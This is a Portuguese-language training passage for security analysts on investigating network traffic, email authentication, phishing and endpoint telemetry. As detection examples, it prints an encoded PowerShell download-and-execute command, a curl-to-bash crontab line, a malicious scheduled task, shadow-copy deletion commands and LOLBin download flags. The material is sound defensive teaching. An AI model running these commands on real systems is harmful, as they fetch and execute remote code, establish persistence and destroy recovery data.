Análise de atividades de rede, e-mail e endpoints

Uma captura de pacotes salva os cabeçalhos e a carga útil que chegam a um sensor em um arquivo .pcap ou .pcapng. Ela pode mostrar o conteúdo de trocas não criptografadas, além de endereços, portas e horários. Colete e armazene a captura conforme a política de monitoramento da organização: ela pode conter senhas e dados pessoais.

Escolha um ponto de captura útil

Um TAP copia passivamente o tráfego de um enlace. Uma porta SPAN faz um switch espelhar portas ou VLANs selecionadas. A porta SPAN pode descartar cópias quando a saída está sobrecarregada; um TAP que agrega tráfego também pode perder pacotes se os dois sentidos juntos ultrapassarem a capacidade da porta de monitoramento. Uma captura no host vê o tráfego desse host. Um sensor na borda da rede com a internet não vê o tráfego que permanece dentro da rede. Fora do NAT, ele vê um endereço público compartilhado, por isso mantenha os registros de NAT para identificar o host interno.

Salve de forma ampla, inspecione de forma restrita

Um filtro de captura determina o que é salvo. Um filtro de exibição altera a visualização dos pacotes já salvos. As sintaxes são diferentes:

No BPF, port 443 também inclui UDP, inclusive QUIC. Um filtro de captura restrito pode descartar permanentemente outro canal de um atacante. Um filtro de exibição pode ser removido sempre que a investigação mudar de direção.

Para uma captura direcionada, use:

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i seleciona a interface; -nn mantém endereços e portas em formato numérico e evita consultas de nomes; -s 0 mantém os pacotes completos; -w grava os pacotes brutos. O filtro exclui a porta 22, como a de uma sessão SSH do analista. Leia o tráfego DNS salvo com tcpdump -nn -r case42.pcap port 53.

No Wireshark, dns mostra DNS; http.request mostra requisições HTTP. Use tcp.flags.syn == 1 && tcp.flags.ack == 0 para tentativas iniciais de conexão TCP, tls.handshake.type == 1 para mensagens Client Hello do TLS e ip.dst == 10.0.0.0/8 para destinos nesse intervalo. frame contains "password" encontra esse texto nos bytes capturados. Combine condições com &&, || e !.

Planeje a retenção e preserve as evidências

Com 40% de uso, um enlace de 100 Mbit/s transporta 40 Mbit/s. Dividindo por oito, obtemos 5 MB/s; em 3.600 segundos, são 18.000 MB, ou 18 GB. Buffers circulares sobrescrevem a captura mais antiga, enquanto capturas direcionadas reduzem a necessidade de armazenamento. Exporte as evidências relevantes antes que um buffer as sobrescreva.

O TLS deixa visíveis endereços, tamanhos, horários e metadados disponíveis do estabelecimento de conexão, mas oculta o conteúdo da aplicação, a menos que chaves de sessão ou um ponto de inspeção o disponibilizem. A visibilidade de DNS e do nome do servidor também depende dos protocolos em uso. Calcule o hash SHA-256 da captura original, registre a interface e o intervalo da captura e analise uma cópia. Verifique a sincronização do relógio e as estatísticas de perda de pacotes; o contador “dropped by kernel” do tcpdump revela o tráfego que o sistema de captura perdeu.

Leia um pacote das informações externas de entrega em direção aos dados de aplicação. Em Ethernet, o Wireshark mostra os endereços MAC, depois os endereços IP e o TTL, em seguida as portas TCP ou UDP e, por fim, DNS, HTTP, TLS ou outro protocolo de aplicação. O painel de detalhes abre essas camadas; o painel de bytes mostra os valores hexadecimais brutos.

Acompanhe a troca

O TCP começa com SYN, SYN-ACK e ACK. Em 10.0.0.23:51544 → 203.0.113.80:443 SYN, a porta alta de origem pertence ao cliente. A resposta inverte os endereços e as portas. FIN solicita um encerramento normal; RST encerra a conexão abruptamente. Um reset em resposta a um SYN geralmente indica uma porta fechada. A ausência de resposta pode refletir filtragem, perda ou falta de visibilidade, por isso inspecione tanto os pacotes quanto a posição de captura.

O UDP não tem estabelecimento de conexão na camada de transporte. O DNS costuma usar UDP 53 e também usa TCP 53, inclusive para respostas grandes e transferências de zona. Leia o tipo de registro da consulta: A solicita IPv4, AAAA solicita IPv6, MX solicita servidores de e-mail, TXT solicita texto e CNAME solicita um nome alternativo. NXDOMAIN significa que o nome solicitado não existe.

Uma resposta DNS seguida de uma conexão ao IP retornado sugere uma relação. Confirme o nome solicitado com um cabeçalho Host do HTTP, uma SNI visível do TLS, registros de proxy ou dados do endpoint: vários domínios podem compartilhar esse endereço.

Reconstrua a atividade de aplicação

O Follow TCP Stream do Wireshark reúne uma conversação em ordem e separa os dois sentidos por cor. Statistics → Conversations classifica pares que se comunicam por pacotes e bytes; Protocol Hierarchy mostra a composição dos protocolos.

Suponha que um fluxo contenha:

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

A resposta é 200 OK, declara application/octet-stream e começa com MZ. Esses bytes sugerem um executável do Windows. O caminho .php pode retornar qualquer conteúdo; ele não precisa ser o nome do arquivo baixado. Verifique o tipo, o hash e a assinatura do objeto exportado e, depois, relacione a requisição ao processo e ao histórico do destino.

Requisições GET buscam conteúdo; requisições POST enviam um corpo. Leia o Host, o caminho, o User-Agent, o status da resposta e os tamanhos dos corpos em conjunto. Corpos POST grandes e repetidos para um novo destino justificam investigação. O status 301 ou 302 redireciona o cliente, enquanto 404 informa que um recurso não foi encontrado.

File → Export Objects → HTTP, ou o equivalente para SMB, pode recuperar objetos transferidos quando o conteúdo não criptografado necessário está presente. Mantenha as amostras recuperadas no ambiente isolado de análise e registre os hashes.

Leia o tráfego criptografado com precisão

Um Client Hello normalmente expõe a SNI, o nome do servidor solicitado, a menos que o Client Hello criptografado a proteja. O TLS 1.2 expõe o certificado do servidor durante o estabelecimento da conexão; o TLS 1.3 o criptografa. As impressões digitais JA3 e JA4 resumem características do Client Hello e podem ajudar a agrupar clientes semelhantes. Um certificado novo, a ausência de SNI ou uma impressão digital compartilhada é uma pista a ser verificada em relação ao contexto do processo e do destino.

A porta 443 sugere HTTPS, mas não determina o protocolo. Inspecione a troca real ou use Decode As quando um dissecador precisar de ajuda para reconhecer um protocolo em uma porta incomum.

Registros de fluxo de rede resumem o tráfego sem manter a carga útil. Eles tornam prática a pesquisa de semanas de atividade antes de obter uma captura curta de pacotes. A 5-tupla usual é IP de origem, IP de destino, porta de origem, porta de destino e protocolo de transporte. Os registros também contêm horários, contagens e muitas vezes flags TCP.

Entenda como a fonte faz as contagens

O NetFlow v5 tem um formato fixo para IPv4; o NetFlow v9 usa modelos e oferece suporte a IPv6. O IPFIX é o padrão da IETF derivado dessa abordagem baseada em modelos. Registros de fluxo na nuvem fornecem resumos de rede relacionados. O sFlow amostra pacotes e acrescenta contadores de interface, por isso as observações precisam ser extrapoladas com cuidado.

Com uma amostragem de 1 em 1.000, 1.200 pacotes amostrados representam aproximadamente 1,2 milhão de pacotes. A estimativa descreve o volume; uma conexão breve pode não deixar nenhum pacote amostrado. Uma amostra vazia é uma evidência fraca para decidir se uma conexão específica ocorreu.

Exportadores muitas vezes registram cada sentido separadamente e dividem conexões longas quando tempos limites de atividade expiram. Associe registros inversos trocando tanto os endereços quanto as portas, preservando o protocolo. Depois, reúna os fragmentos pertencentes à mesma conexão. Some os bytes separadamente por sentido e meça o tempo decorrido do início mais antigo ao término mais recente. Somar durações de registros sobrepostos infla o tempo.

Leia registros de conexões do Zeek

O Zeek produz registros estruturados de conexões e protocolos. Em conn.log, ts é o horário de início e uid vincula a conexão a registros como http.log ou ssl.log. Os campos id.orig_h e id.orig_p identificam o iniciador; id.resp_h e id.resp_p identificam o respondente. O iniciador começou a conversação e pode ser um host externo. proto, service, duration, orig_bytes e resp_bytes descrevem o transporte, a aplicação reconhecida e a atividade da conexão.

Em tentativas sem resposta, zero bytes de carga útil no Zeek podem acompanhar pacotes reais. Exportadores de fluxo também costumam contar cabeçalhos IP, por isso as contagens de bytes diferem. Leia as contagens de pacotes e o estado junto com os campos de bytes documentados.

Meça um envio incomum

Das 02:10 às 02:50 UTC, 10.0.0.23 envia 2,4 GB para 198.51.100.7:443 e recebe 12 MB. Converta 2,4 GB em 2.400 MB: o volume de saída é 200 vezes o de entrada. Quarenta minutos são 2.400 segundos, por isso a taxa média de saída é 1 MB/s, ou 8 Mbit/s.

A taxa não é a conclusão. Compare o volume habitual, o histórico de destinos e a função do host. Uma cópia de segurança agendada pode explicar um envio noturno; um destino novo e um processo de envio não aprovado reforçam uma hipótese de roubo de dados. Faça um pivoteamento para o EDR em busca do processo responsável, para dados de DNS ou proxy em busca do nome e para os pacotes em busca do conteúdo, se estiverem disponíveis. Uma linha de base deve comparar funções semelhantes: um servidor de cópia de segurança e a estação de trabalho de um recepcionista têm tráfegos normais diferentes.

Padrões de rede indicam onde investigar. Um scanner aprovado e um invasor podem gerar pacotes muito semelhantes.

Reconheça o formato do tráfego

Uma varredura vertical testa muitas portas em um host. Uma varredura horizontal testa a mesma porta em muitos hosts. Se 10.0.0.99 envia SYNs para 1.000 portas em 10.0.0.5 em 12 segundos, a taxa é de cerca de 83 tentativas por segundo. Muitos registros S0 ou REJ e algumas conexões bem-sucedidas são compatíveis com varredura. Verifique o inventário de scanners e a programação autorizada.

Um dispositivo não autorizado está conectado sem autorização. Compare novas concessões DHCP e endereços MAC com o inventário de ativos; um prefixo de fabricante desconhecido, um ponto de acesso não autorizado ou um segundo servidor DHCP exigem investigação. O NAC ajuda a controlar quais dispositivos podem se conectar.

Avalie os serviços conforme a função do host. SSH costuma usar 22, SMTP 25, DNS 53, HTTP 80, HTTPS 443, SMB 445, RDP 3389 e WinRM 5985/5986. SMTP de saída direto de uma estação de trabalho pode indicar um bot de spam. SMB ou RDP de uma estação para muitas outras pode indicar movimentação lateral. Verifique qual serviço está realmente presente.

Separe temporizadores da atividade de usuários

Conexões às 10:00:00, 10:05:02, 10:09:59, 10:15:01 e 10:20:00 têm intervalos de 302, 297, 302 e 299 segundos. A média é de 300 segundos e a variação é de cerca de dois segundos. Pequenas trocas semelhantes nesses intervalos sugerem um temporizador. A comunicação recorrente de comando e controle é o contato repetido com o C2; agentes de atualização também usam temporizadores. Encontre o processo iniciador e a finalidade do destino. Malwares podem acrescentar variação dos intervalos de comunicação, como ±20%, por isso um padrão menos regular ainda merece atenção.

Investigue o abuso de DNS

O tunelamento DNS coloca dados em nomes de consultas, muitas vezes com rótulos longos codificados e muitos subdomínios únicos. Um rótulo pode conter no máximo 63 caracteres; um nome completo comum em formato de texto tem limite de 253 caracteres. Consultas TXT ou NULL repetidas e alto volume reforçam o padrão. Muitos nomes aparentemente aleatórios que retornam NXDOMAIN sugerem um DGA tentando nomes até que um seja resolvido. O DNS sobre HTTPS externo também pode fazer com que a atividade não apareça nos registros DNS normais da organização.

Leia e verifique uma regra

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

O cabeçalho especifica um alerta para TCP da rede interna até a porta externa 4444. A condição flow exige tráfego estabelecido em direção ao servidor; sid identifica a regra e rev, a revisão. A mensagem menciona um possível shell reverso, mas essa regra verifica um padrão de conexão, não comandos de shell.

Snort e Suricata comparam o tráfego com regras; o Zeek fornece principalmente registros de eventos e scripts de comportamento. Verifique um alerta de IDS com os pacotes associados, a plataforma do alvo e alterações no endpoint após a troca. O modo de detecção observa cópias; um IPS no caminho do tráfego pode bloqueá-lo, de modo que uma correspondência equivocada pode causar interrupções operacionais.

O endereço que um leitor vê e a identidade verificada durante a entrega do e-mail são campos diferentes. Comece pelo .eml ou .msg original para manter os cabeçalhos que uma cópia encaminhada pode substituir. Um analisador de cabeçalhos pode organizar as evidências, mas você ainda precisa saber qual servidor registrou cada resultado.

Encontre as identidades e os saltos confiáveis

O remetente do envelope SMTP é usado para mensagens de devolução e aparece em Return-Path. O cabeçalho From é o remetente visível. Reply-To determina para onde vão as respostas, e Message-ID ajuda a localizar registros de e-mail relacionados. Um serviço de envio de mensagens pode legitimamente usar um domínio de envelope diferente do domínio visível do cliente.

Cada servidor intermediário acrescenta uma linha Received no topo. Leia a sequência do percurso de baixo para cima, mas estabeleça a confiança a partir das entradas do gateway da sua organização: um remetente pode falsificar linhas abaixo da primeira entrada confiável. Um campo opcional X-Mailer também é controlado pelo remetente. Use o IP de envio registrado pelo servidor de recebimento confiável da sua organização.

Aplique as três verificações

Um registro SPF TXT como v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autoriza esse intervalo e os remetentes incluídos. -all atribui fail aos demais remetentes; ~all atribui softfail. Os resultados também podem ser neutral, none, temperror ou permerror. O encaminhamento muitas vezes faz o SPF falhar porque o IP de quem encaminha não é autorizado pelo domínio original do envelope.

O d= do DKIM informa o domínio signatário e s= seleciona a chave desse domínio em <selector>._domainkey.<domain>. Uma assinatura aprovada significa que o material assinado permaneceu inalterado. O encaminhamento pode preservá-la, enquanto a reescrita da mensagem pode invalidá-la.

O alinhamento flexível do DMARC aceita o mesmo domínio organizacional; o alinhamento estrito exige uma correspondência exata de domínio. A política TXT em _dmarc.<domain> pode solicitar none, quarantine ou reject; o destinatário decide o tratamento. A RFC 9989 substituiu o padrão DMARC anterior em maio de 2026, removeu pct e introduziu o modo de teste t=y. Verifique uma política com nslookup -type=txt _dmarc.example.com.

Analise um resultado de autenticação

O gateway da sua organização informa SPF pass para mailer.example-billing.net, DKIM pass para example-billing.net e From examp1e.com. Nenhum dos domínios aprovados está alinhado com o domínio visível, por isso o DMARC falha. SPF e DKIM autenticaram identidades diferentes; eles não autenticaram esse endereço visível.

Leia apenas o Authentication-Results adicionado por um gateway confiável. Um domínio semelhante pertencente a um atacante e configurado corretamente pode passar nas três verificações, assim como uma caixa postal legítima comprometida. Combine a autenticação com o histórico do remetente, o conteúdo da mensagem e a análise de links. Por outro lado, investigue se o encaminhamento ou alterações de uma lista de distribuição explicam uma falha antes de classificá-la como falsificação.

O phishing tenta transformar uma mensagem em uma ação prejudicial: entregar credenciais, enviar dinheiro ou executar um arquivo. O indício mais forte muitas vezes é um desvio do processo normal do destinatário. Um atacante consegue facilmente fornecer uma escrita fluente e um nome familiar.

Leia o remetente e o destino com atenção

A falsificação do nome de exibição coloca um nome confiável acima de um endereço sem relação com ele, como "IT Service Desk" <it.desk.2291@freemail.example>. O registro abusivo de domínios com erros de digitação ou grafia semelhante altera a grafia de um domínio; domínios semelhantes acrescentam palavras que inspiram confiança. Homoglifos substituem caracteres por outros semelhantes de outros alfabetos. Uma primeira letra cirílica torna аpple.com um domínio diferente; a forma punycode é xn--pple-43d.com.

O rótulo visível de um link pode ser diferente do destino real. Encurtadores e redirecionamentos abertos ocultam destinos posteriores. Em https://www.example.com@198.51.100.7/login, o host é 198.51.100.7; a parte antes de @ é informação de usuário. Em https://example.com.login-verify.net/, o domínio registrado é login-verify.net. Ler as palavras que inspiram confiança na extremidade esquerda leva a identificar incorretamente quem controla o destino.

Reconheça a ação solicitada

Urgência, alegação de autoridade executiva, ameaças de encerramento de conta, cartões-presente e alterações de dados bancários levam o destinatário a abandonar as verificações estabelecidas. O phishing direcionado usa pesquisas sobre um alvo específico; o whaling tem executivos como alvo. Formas relacionadas de envio incluem smishing por mensagem de texto, vishing por voz e quishing por códigos QR. Um código QR pode levar um link para um celular fora da filtragem de links de e-mail.

Anexos podem conter documentos com macros, páginas HTML de login ou HTML smuggling, arquivos compactados protegidos por senha, imagens de disco, atalhos LNK ou PDFs com links. Versões modernas do Office bloqueiam macros por padrão em arquivos marcados como provenientes da internet, por isso as mensagens podem orientar usuários a remover o bloqueio. Uma senha de arquivo compactado dificulta a inspeção, embora alguns gateways consigam extrair a senha da mensagem e verificar o conteúdo.

Investigue fraudes de pagamento sem malware

O comprometimento de e-mail corporativo, ou BEC, se passa por um colega, executivo ou fornecedor para obter dinheiro, alterações de dados de pagamento ou informações sensíveis. Ele pode usar um endereço semelhante ou uma caixa postal real comprometida. Muitas vezes não contém link nem anexo, deixando pouco para os scanners inspecionarem. Um Reply-To alterado ou uma nova regra que oculta respostas é uma evidência de apoio útil.

Em uma conversa existente sobre uma fatura, um fornecedor conhecido solicita que um pagamento de 48.000 euros seja enviado para uma nova conta bancária. A autenticação passa. A caixa postal foi comprometida, e o atacante usou o sequestro de conversa de e-mail para se aproveitar da confiança naquela conversa. Verifique a solicitação por um número de telefone já mantido no cadastro do fornecedor antes de alterar os dados de pagamento. Um número fornecido na mensagem faz parte da solicitação não verificada.

Um endereço interno também pode ser comprometido; inclua destinatários internos e respostas na investigação da conta.

Uma investigação de phishing tem duas tarefas: entender a mensagem e encontrar todas as pessoas que ela alcançou. Uma cópia denunciada é um ponto de partida. A ação tomada por um destinatário determina quais evidências de conta ou de host você precisará examinar em seguida.

Preserve e inspecione a mensagem

Exporte a mensagem original com todos os cabeçalhos e copie as URLs como texto para inspeção em um ambiente isolado de análise. Registre indicadores em forma neutralizada, como hxxps://login-verify[.]net/acct, para evitar cliques acidentais em chamados. Preserve o original intacto junto à cópia de trabalho.

Gateways de e-mail podem envolver uma URL em um parâmetro de outra URL. A codificação percentual representa caracteres com um sinal de porcentagem e dois dígitos hexadecimais: %3A é dois-pontos e %2F é uma barra. Decodifique uma camada por vez e inspecione o resultado antes de interpretar outra camada.

Por exemplo, a decodificação de URL de:

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

produz https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. A decodificação Base64 do valor de u produz jane@example.org. O parâmetro identifica o destinatário pretendido e pode personalizar a página falsa. As operações URL Decode, From Base64 e Defang URL do CyberChef tornam essas transformações separadas visíveis.

Antes de enviar uma URL a um serviço público, remova valores que identifiquem a vítima; um resultado público ou uma requisição personalizada pode expor a investigação ao atacante. Faça a pré-visualização de links encurtados por meio de um serviço de análise aprovado. A visibilidade e o comportamento de envio do serviço também importam, assim como a própria URL.

Inspecione arquivos e extraia campos de pesquisa

Calcule o SHA-256 de um anexo e consulte a reputação antes de enviá-lo. Verifique o tipo pelos bytes iniciais. Para um arquivo do Office, olevba pode listar macros e sinalizar gatilhos automáticos como AutoOpen ou Document_Open e chamadas como Shell. Use um ambiente isolado privado para conteúdo interno confidencial.

Colete o endereço e o nome de exibição do remetente, o IP na entrada Received confiável, o assunto, o Message-ID, os hosts e caminhos das URLs e os nomes e hashes dos anexos. Mantenha os valores exatos nas evidências; use cópias neutralizadas nas anotações. Um nome de arquivo pode mudar entre mensagens, enquanto um hash idêntico ainda vincula conteúdos de arquivo idênticos.

Determine o escopo de destinatários e interações

Pesquise registros do gateway e das caixas postais usando vários desses campos. Liste os destinatários e, depois, diferencie entrega de interação usando registros DNS e de proxy, entradas após acessos aos links e eventos de EDR relativos à abertura e execução de anexos.

Uma pesquisa pode encontrar 40 mensagens entregues, seis pessoas que acessaram o link e duas contas com entradas bem-sucedidas de origem desconhecida minutos depois. Preserve os registros, remova as mensagens da campanha e bloqueie a URL ou o domínio malicioso por meio do processo de resposta. As senhas das duas contas afetadas precisam ser redefinidas e as sessões ativas revogadas. Uma lista de destinatários, por si só, não mostraria a diferença entre exposição e provável comprometimento.

Encerrar o chamado porque o usuário que denunciou excluiu a mensagem deixa os outros destinatários sem análise. Registre quem a recebeu, quem interagiu, o que aconteceu depois e quais evidências ainda faltam.

A telemetria de endpoints conecta evidências de rede e de arquivos ao programa que as causou. O EDR registra atividades de endpoints, detecta comportamentos suspeitos e oferece investigação e resposta remotas. O histórico pode revelar atividades que o estado atual de um arquivo já não mostra.

Escolha a fonte adequada

O antivírus tradicional se concentra em bloquear arquivos reconhecidos como maliciosos. O EDR acrescenta o histórico de processos, arquivos, registro, conexões e logons. O XDR reúne evidências de endpoints e fontes de rede, e-mail, identidade e nuvem. O MDM gerencia celulares e tablets: os registros de inventário e conformidade podem revelar aplicativos não aprovados, root ou jailbreak, e o MDM oferece ações como bloquear ou apagar dispositivos.

Eventos de Segurança do Windows fornecem pontos de referência úteis:

O evento 7045 de Sistema também registra a instalação de um serviço. O Windows armazena eventos em arquivos .evtx que podem ser exportados para pesquisa estruturada. No Linux, use auditd, registros de autenticação e o diário do sistema.

Use a identidade de processo do Sysmon

O Sysmon está disponível como recurso opcional integrado ao Windows 11 e ao Windows Server 2025 e para download no Sysinternals para outros sistemas. O evento 1 registra a criação de processo com a linha de comando completa, o processo pai, hashes e um Process GUID. Esse GUID mantém processos distintos separados mesmo quando o sistema operacional reutiliza um PID.

Outros eventos úteis são 3 para conexões de rede, 11 para criação de arquivo, 12–14 para alterações no registro e 22 para consultas DNS. O evento 3 fica desativado por padrão porque pode gerar um volume considerável. Verifique a configuração ativa antes de interpretar a ausência de um evento como ausência de atividade.

Faça um pivoteamento a partir de um alerta

Comece pelo host, usuário, detecção e árvore de processos. Leia o que iniciou o processo, o que ele iniciou e quais arquivos, valores de registro e destinos ele acessou. Amplie a linha do tempo antes e depois do alerta; a marca temporal de uma detecção não é necessariamente o início da intrusão.

Faça um pivoteamento de um hash para todos os hosts com esse arquivo ou de um destino para todos os hosts que o contataram. A prevalência acrescenta contexto: um programa desconhecido em um de 5.000 hosts é incomum, enquanto um software em todos os hosts pode ser uma implantação padrão. Compare ambos com os softwares e comportamentos aprovados; uma atividade maliciosa disseminada também pode ter alta prevalência.

Ordene a resposta e verifique a visibilidade

O EDR pode isolar um host, interromper um processo, colocar um arquivo em quarentena ou coletá-lo, bloquear um hash e abrir uma sessão de resposta em sistema em execução. O isolamento normalmente preserva a conexão de gerenciamento enquanto restringe outros acessos à rede. Siga o roteiro de resposta e colete as evidências necessárias antes de ações que destruam a memória de processos ou alterem arquivos.

Verifique o estado operacional do sensor quando o console parecer sem atividade: situação da instalação, envio recente de informações, configuração e sinais de adulteração. Um agente interrompido cria uma lacuna de visibilidade e pode, por si só, fazer parte da intrusão.

O nome de um processo é apenas um campo em uma investigação. Verifique em conjunto o caminho do executável, o processo pai, o usuário, a linha de comando, a assinatura e o hash. Preserve o PID junto com o horário de início ou use um Process GUID para evitar vincular processos diferentes que reutilizaram o mesmo PID.

Compare nome, caminho e processo pai

Um svchost.exe normal é executado a partir de C:\Windows\System32, é iniciado por services.exe e normalmente tem um argumento de grupo -k. lsass.exe é executado a partir do mesmo diretório do sistema como uma única instância, iniciada por wininit.exe; services.exe também tem esse processo pai. O Explorer normalmente é executado por usuário conectado, e o processo pai userinit.exe é encerrado. Por isso, a ausência de um processo pai ainda em execução para o Explorer exige interpretação diferente da de um processo do sistema iniciado pelo Word.

Um nome quase igual, como scvhost.exe, um nome de sistema em C:\Users\Public ou um processo pai incomum para o LSASS sugere disfarce de processos ou arquivos. O Office iniciando um shell é outra pista forte: acompanhe WINWORD.EXE ou EXCEL.EXE até cmd.exe, PowerShell, wscript.exe ou mshta.exe. Em um servidor web, w3wp.exe iniciando um shell de comando sugere um shell web.

Leia o que as ferramentas assinadas são instruídas a fazer

LOLBins são programas legítimos do sistema usados indevidamente por um atacante. certutil.exe pode baixar um arquivo com -urlcache -split -f; mshta.exe pode executar uma aplicação HTML a partir de uma URL; rundll32.exe e regsvr32.exe podem executar código de DLL ou script. bitsadmin.exe pode transferir arquivos, e wmic process call create inicia processos. As assinaturas válidas identificam os publicadores dos programas, enquanto o processo pai e os argumentos revelam o uso deles neste caso.

Flags do PowerShell como -nop, -w hidden, -ExecutionPolicy Bypass e -enc merecem inspeção detalhada. IEX executa texto como código; iwr e DownloadString buscam conteúdo. O registro de blocos de script, evento 4104, pode expor o conteúdo decodificado do script.

Decodifique antes de avaliar

O -EncodedCommand do PowerShell usa texto UTF-16LE codificado em Base64. Para -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, aplique From Base64 no CyberChef e, depois, Decode text as UTF-16LE. O resultado é:

iwr http://198.51.100.7/a.ps1 | iex

iwr obtém o script e o encadeamento o passa para iex executar. Isso pode executar código sem salvar o script baixado como arquivo. Letras separadas por bytes zero após a decodificação Base64 indicam que falta a interpretação UTF-16LE.

Rastreie uma cadeia de processos em ordem: o Outlook abre invoice.docm no Word; o Word inicia um shell de comando; o PowerShell contata o servidor e grava upd.exe; o novo executável inicia o próprio tráfego. Vincule cada etapa aos eventos registrados. Um agente de implantação assinado também pode usar PowerShell codificado para uma instalação aprovada, por isso inspecione o conteúdo decodificado e a autorização.

No Linux, investigue executáveis em /tmp ou /dev/shm, curl encadeado com bash, um shell redirecionado para um socket remoto ou /proc/<pid>/exe marcado como “(deleted)”. Um processo de usuário chamado [kworker/0:1] é suspeito se tiver um executável em disco: threads reais do kernel descendem de kthreadd, PID 2, e não têm arquivo executável.

A persistência oferece a um atacante uma forma de recuperar a execução ou o acesso após interrupções como logoff ou reinicialização. Um host pode conter vários mecanismos, cada um com um gatilho separado. Registre o local, o alvo, as marcas temporais e o hash do arquivo antes de remover uma entrada.

Inspecione locais de inicialização automática do Windows

As chaves Run em HKCU\Software\Microsoft\Windows\CurrentVersion aplicam-se ao usuário atual; o usuário pode alterá-las sem direitos de administrador. A chave Run correspondente em HKLM aplica-se aos usuários em geral e precisa de direitos elevados para ser alterada. RunOnce fornece execução única; HKLM RunOnce é executada quando um administrador faz logon após a reinicialização. Entradas Run são acionadas no logon, não quando um arquivo é copiado para o disco.

As pastas de inicialização também executam conteúdo no logon. Verifique AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup do usuário e a pasta compartilhada C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Os eventos de registro 12–14 e o evento de arquivo 11 do Sysmon ajudam a determinar o horário dessas alterações.

Tarefas agendadas podem ser acionadas em um intervalo, em um horário ou por um evento:

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

Isso executa o alvo a cada 30 minutos, ou 48 vezes por dia. O nome da tarefa, que parece confiável, não identifica o publicador do alvo. Inspecione o evento 4698 de Segurança quando a auditoria estiver habilitada, o registro Operacional do Agendador de Tarefas e as definições em C:\Windows\System32\Tasks.

Serviços podem iniciar na inicialização, muitas vezes como SYSTEM. Inspecione o evento 7045 de Sistema ou 4697 de Segurança e o caminho de imagem configurado. Um novo serviço que inicia a partir de uma pasta pública ou executa PowerShell merece atenção.

Assinaturas de eventos WMI associam um filtro de evento a uma ação de consumidor e podem persistir sem um arquivo de inicialização; os eventos 19–21 do Sysmon registram os componentes e a vinculação. Inspecione também novas contas e associações ao grupo de administradores, arquivos de servidor web, extensões de navegador e DLLs inesperadas carregadas por sequestro da ordem de busca.

Verifique Linux e macOS

No Linux, inspecione crontab -l de cada usuário, /etc/crontab, /etc/cron.d/, arquivos de unidade systemd em /etc/systemd/system/, arquivos de inicialização do shell e ~/.ssh/authorized_keys. Liste as unidades com systemctl list-unit-files. O macOS usa LaunchAgents e LaunchDaemons com definições em listas de propriedades; verifique os programas e gatilhos configurados.

Em um crontab de usuário, */10 * * * * curl -s http://198.51.100.7/s.sh | bash baixa e executa um script a cada 10 minutos. Os campos são minuto, hora, dia do mês, mês e dia da semana. Uma nova chave SSH cria outra via de acesso mesmo após a redefinição de senha.

Compare e relacione os achados

O Autoruns reúne muitos locais de inicialização automática do Windows em uma única visualização. Ocultar publicadores confiáveis pode reduzir a quantidade de informações em uma primeira análise, mas volte a examinar entradas assinadas quando outras evidências apontarem para elas. Compare com um host íntegro da mesma imagem e com a linha de base aprovada.

Por exemplo, um valor Run chamado OneDriveUpdate aponta para um odu.exe sem assinatura no perfil móvel de um usuário. Os horários de criação do arquivo e do registro são 09:15 UTC, um minuto após a execução de uma macro suspeita. Essa coincidência de horário e o caminho do alvo vinculam a entrada de inicialização automática à intrusão. Continue pelos outros locais após encontrá-la: uma tarefa agendada ou serviço poderia restaurar a mesma carga útil.

Um host comprometido apresenta alterações além da árvore de processos. Procure novos arquivos e softwares, configurações de segurança enfraquecidas, uso incomum de recursos e arquivos reunidos para transferência. Compare esses elementos com a função do host e a ordem dos eventos.

Analise alterações e a origem dos arquivos

Programas e scripts em C:\Users\Public, %TEMP%, %APPDATA% ou /tmp merecem atenção quando são inesperados. Uma extensão dupla como invoice.pdf.exe oculta a verdadeira função do arquivo. Renomeação em massa, novas extensões e mensagens de exigência de resgate em muitas pastas formam um padrão de ransomware muito mais forte do que um único arquivo desconhecido.

Datas de arquivos podem ser manipuladas. O evento 2 do Sysmon registra alterações no horário de criação de um arquivo, chamadas de adulteração de marcas temporais de arquivos. Compare o histórico de eventos com a data visível antes de concluir que um arquivo de aparência antiga é anterior ao incidente.

O Windows frequentemente adiciona o fluxo de dados alternativo Zone.Identifier aos arquivos baixados da internet. Essa Marca da Web pode incluir a URL de origem, e o evento 15 do Sysmon pode registrar a criação do fluxo. Preserve o fluxo junto com o arquivo ao coletá-lo; métodos de cópia ou extração podem removê-lo, por isso a ausência do fluxo, por si só, é uma evidência fraca sobre a origem.

Procure defesas enfraquecidas

Alterações que merecem investigação incluem proteção em tempo real desativada, novas exclusões do antivírus, regras de firewall para conexões de entrada, RDP recém-habilitado, novos administradores locais e configurações de auditoria reduzidas. O evento 1102 de Segurança registra a limpeza do registro de auditoria de Segurança. Correlacione essas alterações com o usuário ou processo responsável e com manutenções aprovadas.

Comandos como vssadmin delete shadows /all /quiet removem Cópias de Sombra de Volume, e wbadmin delete catalog remove o catálogo de cópias de segurança. Atacantes os usam para prejudicar a recuperação antes da criptografia por ransomware. O aparecimento desses comandos exige escalonamento imediato conforme o roteiro de resposta, enquanto a equipe verifica a atividade de processos e arquivos ao redor do evento.

Compare software e uso de recursos

Um software assinado de suporte remoto ainda pode fornecer acesso não autorizado. Compare o inventário do EDR ou MDM com a lista aprovada e os registros de implantação. Investigue ferramentas de credenciais, scanners ou ferramentas de transferência para a nuvem, como rclone, em um host sem necessidade aprovada delas.

Um minerador pode elevar o uso de CPU ou GPU para perto de 100% e contatar um grupo de mineração, às vezes usando um endereço stratum+tcp://. A alta utilização também ocorre em cargas de trabalho legítimas, por isso associe o consumo de recursos a um processo e a um destino. Preenchimento do disco, esgotamento de memória e falhas repetidas de serviços podem indicar coleta de dados ou tentativas de exploração malsucedidas.

Relacione a preparação ao tráfego de saída

